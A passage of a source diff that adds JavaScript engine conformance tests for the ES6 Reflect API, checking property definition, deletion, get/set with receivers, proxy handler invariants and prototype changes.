+assertEq(Reflect.defineProperty(obj, "x", {enumerable: false}), false);
+assertEq(Reflect.defineProperty(obj, "y", {enumerable: true}), false);
+
+// redefine nonconfigurable data to accessor property, or vice versa
+obj = Object.seal({x: 1, get y() { return 2; }});
+assertEq(Reflect.defineProperty(obj, "x", {get() { return 2; }}), false);
+assertEq(Reflect.defineProperty(obj, "y", {value: 1}), false);
+
+// redefine nonwritable, nonconfigurable property as writable
+obj = Object.freeze({prop: 0});
+assertEq(Reflect.defineProperty(obj, "prop", {writable: true}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {writable: false}), true); // no-op
+
+// change value of nonconfigurable nonwritable property
+obj = Object.freeze({prop: 0});
+assertEq(Reflect.defineProperty(obj, "prop", {value: -0}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {value: +0}), true); // no-op
+
+// change getter or setter
+function g() {}
+function s(x) {}
+obj = {};
+Object.defineProperty(obj, "prop", {get: g, set: s, configurable: false});
+assertEq(Reflect.defineProperty(obj, "prop", {get: s}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {get: g}), true); // no-op
+assertEq(Reflect.defineProperty(obj, "prop", {set: g}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {set: s}), true); // no-op
+
+// Proxy defineProperty handler method that returns false
+var falseValues = [false, 0, -0, "", NaN, null, undefined];
+if (typeof objectEmulatingUndefined === "function")
+ falseValues.push(objectEmulatingUndefined());
+var value;
+proxy = new Proxy({}, {
+ defineProperty(t, id, desc) {
+ return value;
+ }
+});
+for (value of falseValues) {
+ assertEq(Reflect.defineProperty(proxy, "prop", {value: 1}), false);
+}
+
+// Proxy defineProperty handler method returns true, in violation of invariants.
+// Per spec, this is a TypeError, not a false return.
+obj = Object.freeze({x: 1});
+proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ return true;
+ }
+});
+assertThrowsInstanceOf(() => Reflect.defineProperty(proxy, "x", {value: 2}), TypeError);
+assertThrowsInstanceOf(() => Reflect.defineProperty(proxy, "y", {value: 0}), TypeError);
+assertEq(Reflect.defineProperty(proxy, "x", {value: 1}), true);
+
+// The second argument is converted ToPropertyKey before any internal methods
+// are called on the first argument.
+var poison =
+ (counter => new Proxy({}, new Proxy({}, { get() { throw counter++; } })))(42);
+assertThrowsValue(() => {
+ Reflect.defineProperty(poison, {
+ toString() { throw 17; },
+ valueOf() { throw 8675309; }
+ }, poison);
+}, 17);
+
+
+// For more Reflect.defineProperty tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/deleteProperty.js b/js/src/tests/ecma_6/Reflect/deleteProperty.js
new file mode 100644
index 000000000..744e0f571
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/deleteProperty.js
@@ -0,0 +1,80 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.deleteProperty deletes properties.
+var obj = {x: 1, y: 2};
+assertEq(Reflect.deleteProperty(obj, "x"), true);
+assertDeepEq(obj, {y: 2});
+
+var arr = [1, 1, 2, 3, 5];
+assertEq(Reflect.deleteProperty(arr, "3"), true);
+assertDeepEq(arr, [1, 1, 2, , 5]);
+
+
+// === Failure and error cases
+// Since Reflect.deleteProperty is almost exactly identical to the non-strict
+// `delete` operator, there is not much to test that would not be redundant.
+
+// Returns true if no such property exists.
+assertEq(Reflect.deleteProperty({}, "q"), true);
+
+// Or if it's inherited.
+var proto = {x: 1};
+assertEq(Reflect.deleteProperty(Object.create(proto), "x"), true);
+assertEq(proto.x, 1);
+
+// Return false if asked to delete a non-configurable property.
+var arr = [];
+assertEq(Reflect.deleteProperty(arr, "length"), false);
+assertEq(arr.hasOwnProperty("length"), true);
+assertEq(Reflect.deleteProperty(this, "undefined"), false);
+assertEq(this.undefined, void 0);
+
+// Return false if a Proxy's deleteProperty handler returns a false-y value.
+var value;
+var proxy = new Proxy({}, {
+ deleteProperty(t, k) {
+ return value;
+ }
+});
+for (value of [true, false, 0, "something", {}]) {
+ assertEq(Reflect.deleteProperty(proxy, "q"), !!value);
+}
+
+// If a Proxy's handler method throws, the error is propagated.
+proxy = new Proxy({}, {
+ deleteProperty(t, k) { throw "vase"; }
+});
+assertThrowsValue(() => Reflect.deleteProperty(proxy, "prop"), "vase");
+
+// Throw a TypeError if a Proxy's handler method returns true in violation of
+// the object invariants.
+proxy = new Proxy(Object.freeze({prop: 1}), {
+ deleteProperty(t, k) { return true; }
+});
+assertThrowsInstanceOf(() => Reflect.deleteProperty(proxy, "prop"), TypeError);
+
+
+// === Deleting elements from `arguments`
+
+// Non-strict arguments element becomes unmapped
+function f(x, y, z) {
+ assertEq(Reflect.deleteProperty(arguments, "0"), true);
+ arguments.x = 33;
+ return x;
+}
+assertEq(f(17, 19, 23), 17);
+
+// Frozen non-strict arguments element
+function testFrozenArguments() {
+ Object.freeze(arguments);
+ assertEq(Reflect.deleteProperty(arguments, "0"), false);
+ assertEq(arguments[0], "zero");
+ assertEq(arguments[1], "one");
+}
+testFrozenArguments("zero", "one");
+
+
+// For more Reflect.deleteProperty tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/get.js b/js/src/tests/ecma_6/Reflect/get.js
new file mode 100644
index 000000000..b38b188b0
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/get.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.get gets the value of a property.
+
+var x = {p: 1};
+assertEq(Reflect.get(x, "p"), 1);
+assertEq(Reflect.get(x, "toString"), Object.prototype.toString);
+assertEq(Reflect.get(x, "missing"), undefined);
+
+
+// === Various targets
+
+// Array
+assertEq(Reflect.get([], 700), undefined);
+assertEq(Reflect.get(["zero", "one"], 1), "one");
+
+// TypedArray
+assertEq(Reflect.get(new Uint8Array([0, 1, 2, 3, 4, 5, 6, 7]), 7), 7);
+
+// Treatment of NaN
+var f = new Float64Array([NaN]);
+var u = new Uint32Array(f.buffer);
+u[0]++;
+u[1]++;
+assertEq(f[0], NaN);
+assertEq(Reflect.get(f, 0), NaN);
+
+// Proxy with no get handler
+assertEq(Reflect.get(new Proxy(x, {}), "p"), 1);
+
+// Proxy with a get handler
+var obj = new Proxy(x, {
+ get(t, k, r) { return k + "ful"; }
+});
+assertEq(Reflect.get(obj, "mood"), "moodful");
+
+// Exceptions thrown by a proxy's get handler are propagated.
+assertThrowsInstanceOf(() => Reflect.get(obj, Symbol()), TypeError);
+
+// Ordinary object, property has a setter and no getter
+obj = {set name(x) {}};
+assertEq(Reflect.get(obj, "name"), undefined);
+
+
+// === Receiver
+
+// Receiver argument is passed to getters as the this-value.
+obj = { get x() { return this; }};
+assertEq(Reflect.get(obj, "x", Math), Math);
+assertEq(Reflect.get(Object.create(obj), "x", JSON), JSON);
+
+// If missing, target is passed instead.
+assertEq(Reflect.get(obj, "x"), obj);
+
+// Receiver argument is passed to the proxy get handler.
+obj = new Proxy({}, {
+ get(t, k, r) {
+ assertEq(k, "itself");
+ return r;
+ }
+});
+assertEq(Reflect.get(obj, "itself"), obj);
+assertEq(Reflect.get(obj, "itself", Math), Math);
+assertEq(Reflect.get(Object.create(obj), "itself", Math), Math);
+
+// The receiver shouldn't have to be an object
+assertEq(Reflect.get(obj, "itself", 37.2), 37.2);
+
+// For more Reflect.get tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/getOwnPropertyDescriptor.js b/js/src/tests/ecma_6/Reflect/getOwnPropertyDescriptor.js
new file mode 100644
index 000000000..aa7329778
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/getOwnPropertyDescriptor.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.getOwnPropertyDescriptor inspects object properties.
+assertDeepEq(
+ Reflect.getOwnPropertyDescriptor({x: "hello"}, "x"),
+ {value: "hello", writable: true, enumerable: true, configurable: true});
+assertEq(
+ Reflect.getOwnPropertyDescriptor({x: "hello"}, "y"),
+ undefined);
+assertDeepEq(
+ Reflect.getOwnPropertyDescriptor([], "length"),
+ {value: 0, writable: true, enumerable: false, configurable: false});
+
+// Reflect.getOwnPropertyDescriptor shares its implementation with
+// Object.getOwnPropertyDescriptor. The only difference is how non-object
+// targets are handled.
+//
+// For more Reflect.getOwnPropertyDescriptor tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/getPrototypeOf.js b/js/src/tests/ecma_6/Reflect/getPrototypeOf.js
new file mode 100644
index 000000000..6a29d4a9b
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/getPrototypeOf.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.getPrototypeOf returns an object's prototype.
+assertEq(Reflect.getPrototypeOf({}), Object.prototype);
+assertEq(Reflect.getPrototypeOf(Object.prototype), null);
+assertEq(Reflect.getPrototypeOf(Object.create(null)), null);
+
+var proxy = new Proxy({}, {
+ getPrototypeOf(t) { return Math; }
+});
+
+assertEq(Reflect.getPrototypeOf(proxy), Math);
+
+// For more Reflect.getPrototypeOf tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/has.js b/js/src/tests/ecma_6/Reflect/has.js
new file mode 100644
index 000000000..6019a61ed
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/has.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.has is identical to the `in` operator.
+assertEq(Reflect.has({x: 0}, "x"), true);
+assertEq(Reflect.has({x: 0}, "y"), false);
+assertEq(Reflect.has({x: 0}, "toString"), true);
+
+// The target can be an array; Reflect.has works on array elements.
+var arr = ["zero"];
+arr[10000] = 0;
+assertEq(Reflect.has(arr, "10000"), true);
+assertEq(Reflect.has(arr, 10000), true);
+assertEq(Reflect.has(arr, "-0"), false);
+assertEq(Reflect.has(arr, -0), true);
+
+// And string objects (though not string primitives; see target.js).
+var str = new String("hello");
+assertEq(Reflect.has(str, "4"), true);
+assertEq(Reflect.has(str, "-0"), false);
+assertEq(Reflect.has(str, -0), true);
+
+// Proxy without .has() handler method
+var obj = {get prop() {}};
+for (var i = 0; i < 2; i++) {
+ obj = new Proxy(obj, {});
+ assertEq(Reflect.has(obj, "prop"), true);
+ assertEq(Reflect.has(obj, "nope"), false);
+}
+
+// Proxy with .has() handler method
+obj = new Proxy({}, {
+ has(t, k) { return k.startsWith("door"); }
+});
+assertEq(Reflect.has(obj, "doorbell"), true);
+assertEq(Reflect.has(obj, "dormitory"), false);
+
+
+// For more Reflect.has tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/isExtensible.js b/js/src/tests/ecma_6/Reflect/isExtensible.js
new file mode 100644
index 000000000..f38724875
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/isExtensible.js
@@ -0,0 +1,57 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.isExtensible behaves just like Object.extensible except when the
+// target argument is missing or is not an object (and that behavior is tested
+// in target.js).
+
+// Test basic functionality.
+var someObjects = [
+ {},
+ {a: "a"},
+ [0, 1],
+ new Uint8Array(64),
+ Object(Symbol("table")),
+ new Proxy({}, {})
+];
+if (typeof SharedArrayBuffer != "undefined")
+ someObjects.push(new Uint8Array(new SharedArrayBuffer(64)));
+
+for (var obj of someObjects) {
+ assertEq(Reflect.isExtensible(obj), true);
+ assertEq(Reflect.preventExtensions(obj), true);
+ assertEq(Reflect.isExtensible(obj), false);
+}
+
+// Array with nonwritable length.
+var arr = [0, 1, 2, 3];
+Object.defineProperty(arr, "length", {writable: false});
+assertEq(Reflect.isExtensible(arr), true);
+
+// Proxy case.
+for (var ext of [true, false]) {
+ var obj = {};
+ if (!ext)
+ Object.preventExtensions(obj);
+ var proxy = new Proxy(obj, {
+ isExtensible() { return ext; }
+ });
+ assertEq(Reflect.isExtensible(proxy), ext);
+}
+
+// If a Proxy's isExtensible method throws, the exception is propagated.
+proxy = new Proxy({}, {
+ isExtensible() { throw "oops"; }
+});
+assertThrowsValue(() => Reflect.isExtensible(proxy), "oops");
+
+// If an invariant is broken, [[IsExtensible]] does not return false. It throws
+// a TypeError.
+proxy = new Proxy({}, {
+ isExtensible() { return false; }
+});
+assertThrowsInstanceOf(() => Reflect.isExtensible(proxy), TypeError);
+
+// For more Reflect.isExtensible tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/ownKeys.js b/js/src/tests/ecma_6/Reflect/ownKeys.js
new file mode 100644
index 000000000..5433562eb
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/ownKeys.js
@@ -0,0 +1,66 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.ownKeys(obj) returns an array of an object's own property keys.
+
+// Test that Reflect.ownKeys gets the expected result when applied to various
+// objects. (These tests also check the basics: that the result is an array,
+// that its prototype is correct, etc.)
+var sym = Symbol.for("comet");
+var sym2 = Symbol.for("meteor");
+var cases = [
+ {object: {z: 3, y: 2, x: 1},
+ keys: ["z", "y", "x"]},
+ {object: [],
+ keys: ["length"]},
+ {object: new Int8Array(4),
+ keys: ["0", "1", "2", "3"]},
+ {object: new Proxy({a: 7}, {}),
+ keys: ["a"]},
+ {object: {[sym]: "ok"},
+ keys: [sym]},
+ {object: {[sym]: 0, // test 9.1.12 ordering
+ "str": 0,
+ "773": 0,
+ "0": 0,
+ [sym2]: 0,
+ "-1": 0,
+ "8": 0,
+ "second str": 0},
+ keys: ["0", "8", "773", // indexes in numeric order
+ "str", "-1", "second str", // strings in insertion order
+ sym, sym2]}, // symbols in insertion order
+ {object: newGlobal().Math, // cross-compartment wrapper
+ keys: Reflect.ownKeys(Math)}
+];
+for (var {object, keys} of cases)
+ assertDeepEq(Reflect.ownKeys(object), keys);
+
+// Reflect.ownKeys() creates a new array each time it is called.
+var object = {}, keys = [];
+for (var i = 0; i < 3; i++) {
+ var newKeys = Reflect.ownKeys(object);
+ assertEq(newKeys !== keys, true);
+ keys = newKeys;
+}
+
+// Proxy behavior with successful ownKeys() handler
+keys = ["str", "0"];
+obj = {};
+proxy = new Proxy(obj, {
+ ownKeys() { return keys; }
+});
+var actual = Reflect.ownKeys(proxy);
+assertDeepEq(actual, keys); // we get correct answers
+assertEq(actual !== keys, true); // but not the same object
+
+// If a proxy breaks invariants, a TypeError is thrown.
+var obj = Object.preventExtensions({});
+var proxy = new Proxy(obj, {
+ ownKeys() { return ["something"]; }
+});
+assertThrowsInstanceOf(() => Reflect.ownKeys(proxy), TypeError);
+
+// For more Reflect.ownKeys tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/preventExtensions.js b/js/src/tests/ecma_6/Reflect/preventExtensions.js
new file mode 100644
index 000000000..63ca2545b
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/preventExtensions.js
@@ -0,0 +1,56 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.preventExtensions is the same as Object.preventExtensions, except
+// for the return value and the behavior in error cases.
+
+var someObjects = [
+ {},
+ new Int32Array(7),
+ Object(Symbol("table")),
+ new Proxy({}, {})
+];
+
+for (var obj of someObjects) {
+ assertEq(Reflect.preventExtensions(obj), true);
+ // [[PreventExtensions]] on an already-inextensible object is a no-op.
+ assertEq(Reflect.preventExtensions(obj), true);
+}
+
+// Error cases.
+assertThrowsInstanceOf(() => Reflect.isExtensible(), TypeError);
+for (var value of [undefined, null, true, 1, NaN, "Phaedo", Symbol("good")]) {
+ assertThrowsInstanceOf(() => Reflect.isExtensible(value), TypeError);
+}
+
+// A proxy's preventExtensions handler can return false without doing anything.
+obj = {};
+var proxy = new Proxy(obj, {
+ preventExtensions() { return false; }
+});
+assertEq(Reflect.preventExtensions(proxy), false);
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// If a proxy's preventExtensions handler throws, the exception is propagated.
+obj = {};
+proxy = new Proxy(obj, {
+ preventExtensions() { throw "fit"; }
+});
+assertThrowsValue(() => Reflect.preventExtensions(proxy), "fit");
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// If a proxy's preventExtensions handler returns true while leaving the target
+// extensible, that's a TypeError.
+obj = {};
+proxy = new Proxy(obj, {
+ preventExtensions() { return true; }
+});
+assertThrowsInstanceOf(() => Reflect.preventExtensions(proxy), TypeError);
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// For more Reflect.preventExtensions tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/propertyKeys.js b/js/src/tests/ecma_6/Reflect/propertyKeys.js
new file mode 100644
index 000000000..6495a96fd
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/propertyKeys.js
@@ -0,0 +1,84 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test corner cases involving Reflect methods' propertyKey arguments.
+
+// keys - Array of propertyKey values to be tested.
+//
+// Each element of this array is a record with these properties:
+//
+// * value: a value that will be passed as a property key
+// to the various Reflect methods;
+//
+// * expected: (optional) the string or symbol that ToPropertyKey(value)
+// should return. If this is omitted, ToPropertyKey(value) === value.
+//
+var keys = [
+ {value: null, expected: "null"},
+ {value: undefined, expected: "undefined"},
+ {value: true, expected: "true"},
+ {value: 42, expected: "42"},
+ {value: "string"},
+ {value: ""},
+ {value: "string with \0"},
+ {value: new String("ok"), expected: "ok"},
+ {value: Symbol("sym")},
+ {value: Symbol.iterator},
+ {value: Object(Symbol.for("comet")), expected: Symbol.for("comet")},
+ {
+ value: {
+ toString() { return "key"; },
+ valueOf() { return "bad"; }
+ },
+ expected: "key"
+ },
+ {
+ value: {
+ toString: undefined,
+ valueOf() { return "fallback"; }
+ },
+ expected: "fallback"
+ },
+ {
+ value: {
+ [Symbol.toPrimitive](hint) { return hint; }
+ },
+ expected: "string"
+ },
+ {
+ value: {
+ [Symbol.toPrimitive](hint) { return Symbol.for(hint); }
+ },
+ expected: Symbol.for("string")
+ }
+];
+
+for (var {value, expected} of keys) {
+ if (expected === undefined)
+ expected = value;
+
+ var obj = {};
+ assertEq(Reflect.defineProperty(obj, value, {value: 1, configurable: true}), true);
+ assertDeepEq(Reflect.ownKeys(obj), [expected]);
+ assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, value),
+ {value: 1,
+ writable: false,
+ enumerable: false,
+ configurable: true});
+ assertEq(Reflect.deleteProperty(obj, value), true);
+ assertEq(Reflect.has(obj, value), false);
+ assertEq(Reflect.set(obj, value, 113), true);
+ assertEq(obj[expected], 113);
+ assertEq(Reflect.has(obj, value), true);
+ assertEq(Reflect.get(obj, value), 113);
+}
+
+// ToPropertyKey can throw.
+var exc = {};
+var badKey = {toString() { throw exc; }};
+var methodNames = ["defineProperty", "deleteProperty", "has", "get", "getOwnPropertyDescriptor", "set"];
+for (var name of methodNames) {
+ assertThrowsValue(() => Reflect[name]({}, badKey), exc);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/set.js b/js/src/tests/ecma_6/Reflect/set.js
new file mode 100644
index 000000000..83cd98b69
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/set.js
@@ -0,0 +1,280 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.set does property assignment.
+// With three arguments, this is pretty straightforward.
+var obj = {};
+assertEq(Reflect.set(obj, "prop", "value"), true);
+assertEq(obj.prop, "value");
+
+
+// === Various targets
+
+// It can assign array elements.
+var arr = ["duck", "duck", "duck"];
+assertEq(Reflect.set(arr, 2, "goose"), true);
+assertEq(arr[2], "goose");
+
+// It can extend an array.
+assertEq(Reflect.set(arr, 3, "Model T"), true);
+assertEq(arr.length, 4);
+
+// It can truncate an array.
+assertEq(Reflect.set(arr, "length", 1), true);
+assertDeepEq(arr, ["duck"]);
+
+// It won't assign to non-writable properties of String objects.
+var str = new String("hello");
+assertEq(Reflect.set(str, "0", "y"), false);
+assertEq(str[0], "h");
+assertEq(Reflect.set(str, "length", 700), false);
+assertEq(str.length, 5);
+
+
+// === Receivers
+// The optional fourth argument is the receiver, which [[Set]] methods use for
+// various things.
+
+// On ordinary objects, if the property has a setter, the receiver is passed as
+// the this-value to the setter.
+var expected;
+var obj = {
+ set prop(v) {
+ "use strict";
+ assertEq(v, 32);
+ assertEq(this, expected);
+ }
+};
+for (expected of [obj, {}, [], 37.3]) {
+ assertEq(Reflect.set(obj, "prop", 32, expected), true);
+}
+
+// If the property doesn't already exist, it is defined on the receiver.
+obj = {};
+var obj2 = {};
+assertEq(Reflect.set(obj, "prop", 47, obj2), true);
+assertDeepEq(obj, {});
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj2, "prop"),
+ {value: 47, writable: true, enumerable: true, configurable: true});
+
+// If the property doesn't already exist, and the receiver isn't an object, return false.
+for (var v of SOME_PRIMITIVE_VALUES) {
+ assertEq(Reflect.set({}, "x", 0, v), false);
+}
+
+// Receiver defaults to the target.
+obj = {};
+var hits;
+var expectedReceiver;
+var proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(k, "key");
+ assertEq(v, "value");
+ assertEq(r, expectedReceiver); // not obj
+ hits++;
+ return true;
+ }
+});
+hits = 0;
+expectedReceiver = proxy;
+assertEq(Reflect.set(proxy, "key", "value"), true);
+assertEq(hits, 1);
+
+// But not if explicitly present and undefined.
+hits = 0;
+expectedReceiver = undefined;
+assertEq(Reflect.set(proxy, "key", "value", undefined), true);
+assertEq(hits, 1);
+
+// Reflect.set can be used as fallback behavior in a proxy handler .set()
+// method.
+var log;
+obj = {
+ set prop(v) {
+ log += "p";
+ assertEq(v, "value");
+ assertEq(this, proxy); // not obj!
+ }
+};
+proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(r, proxy);
+ log += "s";
+ return Reflect.set(t, k, v, r);
+ }
+});
+log = "";
+assertEq(Reflect.set(proxy, "prop", "value"), true);
+assertEq(log, "sp");
+
+
+// === Cross-compartment wrapper behavior.
+
+// When calling a cross-compartment wrapper, receiver is rewrapped for the
+// target compartment.
+var g = newGlobal();
+if (!("assertEq" in g))
+ g.assertEq = assertEq; // necessary in the browser
+g.eval(`
+ var hits;
+ var obj = {
+ set x(v) {
+ "use strict";
+ assertEq(this, receiver);
+ assertEq(v, "xyzzy");
+ hits++;
+ }
+ };
+ var receiver = {};
+`);
+g.hits = 0;
+assertEq(Reflect.set(g.obj, "x", "xyzzy", g.receiver), true);
+assertEq(g.hits, 1);
+
+// ...even when receiver is from a different compartment than target.
+var receiver = {};
+g.receiver = receiver;
+g.hits = 0;
+assertEq(Reflect.set(g.obj, "x", "xyzzy", receiver), true);
+assertEq(g.hits, 1);
+
+// ...even when receiver is a primtive value, even undefined.
+for (receiver of SOME_PRIMITIVE_VALUES) {
+ g.receiver = receiver;
+ g.hits = 0;
+ assertEq(Reflect.set(g.obj, "x", "xyzzy", receiver), true);
+ assertEq(g.hits, 1);
+}
+
+
+// === Less than 3 arguments
+
+// With two arguments, the value is assumed to be undefined.
+obj = {};
+assertEq(Reflect.set(obj, "size"), true);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "size"),
+ {value: undefined, writable: true, enumerable: true, configurable: true});
+
+// With just one argument, the key is "undefined".
+obj = {};
+assertEq(Reflect.set(obj), true);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "undefined"),
+ {value: undefined, writable: true, enumerable: true, configurable: true});
+
+// For the no argument-case, see target.js.
+
+
+// === Failure cases
+
+// Non-writable data property
+obj = {};
+Reflect.defineProperty(obj, "x", {value: 0, writable: false});
+assertEq(Reflect.set(obj, "x", 1), false);
+assertEq(obj.x, 0);
+
+// The same, but inherited from a prototype
+var obj2 = Object.create(obj);
+assertEq(Reflect.set(obj2, "x", 1), false);
+assertEq(obj2.hasOwnProperty("x"), false);
+assertEq(obj2.x, 0);
+
+// Getter, no setter
+obj = {};
+var desc = {get: () => 12, set: undefined, enumerable: false, configurable: true};
+Reflect.defineProperty(obj, "y", desc);
+assertEq(Reflect.set(obj, "y", 13), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "y"), desc);
+
+// The same, but inherited from a prototype
+obj2 = Object.create(obj);
+assertEq(Reflect.set(obj2, "y", 1), false);
+assertEq(obj2.hasOwnProperty("y"), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "y"), desc);
+
+// Proxy set handler returns a false value
+for (var no of [false, ""]) {
+ var hits = 0;
+ obj = {};
+ var proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(k, "x");
+ assertEq(v, 33);
+ assertEq(r, proxy);
+ hits++;
+ return no;
+ }
+ });
+ assertEq(Reflect.set(proxy, "x", 33), false);
+ assertEq(hits, 1);
+ assertEq("x" in obj, false);
+}
+
+// Proxy handler method throws
+obj = {};
+proxy = new Proxy(obj, {
+ set(t, k, v, r) { throw "i don't like " + v; }
+});
+assertThrowsValue(() => Reflect.set(proxy, "food", "cheese"), "i don't like cheese");
+
+// If a Proxy set handler breaks the object invariants, it's a TypeError.
+for (obj of [{a: 0}, {get a() { return 0; }}]) {
+ Object.freeze(obj);
+ proxy = new Proxy(obj, {
+ set(t, k, v, r) { return true; }
+ });
+ assertThrowsInstanceOf(() => Reflect.set(proxy, "a", "b"), TypeError);
+}
+
+// Per spec, this should first call p.[[Set]]("0", 42, a) and
+// then (since p has no own properties) a.[[Set]]("0", 42, a).
+// The latter should not define a property on p.
+var a = [0, 1, 2, 3];
+var p = Object.create(a);
+Reflect.set(p, "0", 42, a);
+assertEq(p.hasOwnProperty("0"), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(a, "0"),
+ {value: 42, writable: true, enumerable: true, configurable: true});
+
+// Test behavior of ordinary objects' [[Set]] method (ES6 9.1.9).
+// On an ordinary object, if the property key isn't present, [[Set]] calls
+// receiver.[[GetOwnProperty]]() and then receiver.[[DefineProperty]]().
+var log;
+obj = {};
+var proxyTarget = {};
+var existingDescriptor, expected, defineResult;
+var receiver = new Proxy(proxyTarget, {
+ getOwnPropertyDescriptor(t, k) {
+ log += "g";
+ return existingDescriptor;
+ },
+ defineProperty(t, k, desc) {
+ log += "d";
+ assertEq(t, proxyTarget);
+ assertEq(k, "prop");
+ assertDeepEq(desc, expected);
+ return defineResult;
+ }
+});
+existingDescriptor = undefined;
+expected = {value: 5, writable: true, enumerable: true, configurable: true};
+for (var defineResult of [true, false]) {
+ log = "";
+ assertEq(Reflect.set(obj, "prop", 5, receiver), defineResult);
+ assertEq(log, "gd");
+}
+
+existingDescriptor = {value: 7, writable: true, enumerable: false, configurable: true};
+expected = {value: 4};
+for (var defineResult of [true, false]) {
+ log = "";
+ assertEq(Reflect.set(obj, "prop", 4, receiver), defineResult);
+ assertEq(log, "gd");
+}
+
+
+// For more Reflect.set tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/setPrototypeOf.js b/js/src/tests/ecma_6/Reflect/setPrototypeOf.js
new file mode 100644
index 000000000..ed7857a02
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/setPrototypeOf.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.setPrototypeOf changes an object's [[Prototype]].
+var obj = {};
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+var proto = {};
+assertEq(Reflect.setPrototypeOf(obj, proto), true);
+assertEq(Object.getPrototypeOf(obj), proto);
+
+// It can change an object's [[Prototype]] to null.
+obj = {};
+assertEq(Reflect.setPrototypeOf(obj, null), true);
+assertEq(Object.getPrototypeOf(obj), null);
+
+// The proto argument is required too.
+obj = {};
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(obj), TypeError);
+
+// The proto argument must be either null or an object.
+for (proto of [undefined, false, 0, 1.6, "that", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => Reflect.setPrototypeOf(obj, proto), TypeError);
+}
+
+// Return false if the target isn't extensible.
+proto = {};
+obj = Object.preventExtensions(Object.create(proto));
+assertEq(Reflect.setPrototypeOf(obj, {}), false);
+assertEq(Reflect.setPrototypeOf(obj, null), false);
+assertEq(Reflect.setPrototypeOf(obj, proto), true); // except if not changing anything
+
+// Return false rather than create a [[Prototype]] cycle.
+obj = {};
+assertEq(Reflect.setPrototypeOf(obj, obj), false);
+
+// Don't create a [[Prototype]] cycle involving 2 objects.
+obj = Object.create(proto);
+assertEq(Reflect.setPrototypeOf(proto, obj), false);
+
+// Don't create a longish [[Prototype]] cycle.
+for (var i = 0; i < 256; i++)
+ obj = Object.create(obj);
+assertEq(Reflect.setPrototypeOf(proto, obj), false);
+
+// The spec claims we should allow creating cycles involving proxies. (The
+// cycle check quietly exits on encountering the proxy.)
+obj = {};
+var proxy = new Proxy(Object.create(obj), {});
+
+assertEq(Reflect.setPrototypeOf(obj, proxy), true);
